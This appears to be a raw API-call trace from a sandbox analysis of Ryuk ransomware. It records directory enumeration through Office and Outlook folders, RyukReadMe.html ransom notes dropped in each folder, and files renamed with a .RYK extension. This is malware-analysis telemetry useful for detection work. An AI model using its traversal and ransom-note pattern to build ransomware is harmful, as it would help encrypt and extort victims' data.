	[0266.472] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57584490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x57584490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57584490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.472] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.472] SetLastError (dwErrCode=0x0) 
	[0266.473] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\user\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970
	[0266.473] GetLastError () returned 0xb7
	[0266.473] CloseHandle (hObject=0x970) returned 1
	[0266.473] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x57584490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57584490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
	[0266.473] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.473] SetLastError (dwErrCode=0x0) 
	[0266.473] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0266.474] GetLastError () returned 0xb7
	[0266.474] CloseHandle (hObject=0x910) returned 1
	[0266.474] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5aef1750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5aef1750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
	[0266.474] SetLastError (dwErrCode=0x0) 
	[0266.474] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0266.474] GetLastError () returned 0xb7
	[0266.474] CloseHandle (hObject=0x910) returned 1
	[0266.475] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5aef1750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5aef1750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.475] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5aef1750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5aef1750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.475] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig", cAlternateFileName="350DB9~1.SIG")) returned 1
	[0266.475] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970
	[0266.478] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.478] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 1
	[0266.478] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974
	[0266.483] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.484] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a819810, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5a819810, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5aef1750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.484] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a819810, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5a819810, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5aef1750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.484] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.484] SetLastError (dwErrCode=0x0) 
	[0266.484] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0266.485] GetLastError () returned 0xb7
	[0266.485] CloseHandle (hObject=0x910) returned 1
	[0266.485] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56aa8030, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x56aa8030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x574c5db0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.485] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56aa8030, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x56aa8030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x574c5db0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.485] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0266.485] SetLastError (dwErrCode=0x0) 
	[0266.485] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.486] GetLastError () returned 0xb7
	[0266.486] CloseHandle (hObject=0x858) returned 1
	[0266.486] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c2bae30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c2bae30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0266.486] SetLastError (dwErrCode=0x0) 
	[0266.486] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.486] GetLastError () returned 0xb7
	[0266.486] CloseHandle (hObject=0x858) returned 1
	[0266.487] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c2bae30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c2bae30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0266.487] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c2bae30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c2bae30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.487] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c2bae30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="mapisvc.inf.RYK", cAlternateFileName="MAPISV~1.RYK")) returned 1
	[0266.487] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910
	[0266.489] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.489] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c4d2d00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4d2d00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c248a10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Outlook.sharing.xml.obi.RYK", cAlternateFileName="OUTLOO~1.RYK")) returned 1
	[0266.490] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978
	[0266.492] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.492] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1
	[0266.492] SetLastError (dwErrCode=0x0) 
	[0266.492] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c
	[0266.493] GetLastError () returned 0xb7
	[0266.493] CloseHandle (hObject=0x97c) returned 1
	[0266.493] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.493] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.493] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c3070f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.493] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0266.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980
	[0266.495] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.496] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0266.496] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.496] SetLastError (dwErrCode=0x0) 
	[0266.496] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c
	[0266.496] GetLastError () returned 0xb7
	[0266.496] CloseHandle (hObject=0x97c) returned 1
	[0266.497] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5af3da10, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5af3da10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5af3da10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.497] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5af3da10, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5af3da10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5af3da10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.497] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0266.497] SetLastError (dwErrCode=0x0) 
	[0266.497] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.497] GetLastError () returned 0xb7
	[0266.497] CloseHandle (hObject=0x858) returned 1
	[0266.498] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0266.498] SetLastError (dwErrCode=0x0) 
	[0266.498] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.498] GetLastError () returned 0xb7
	[0266.498] CloseHandle (hObject=0x858) returned 1
	[0266.498] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0266.499] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c3070f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
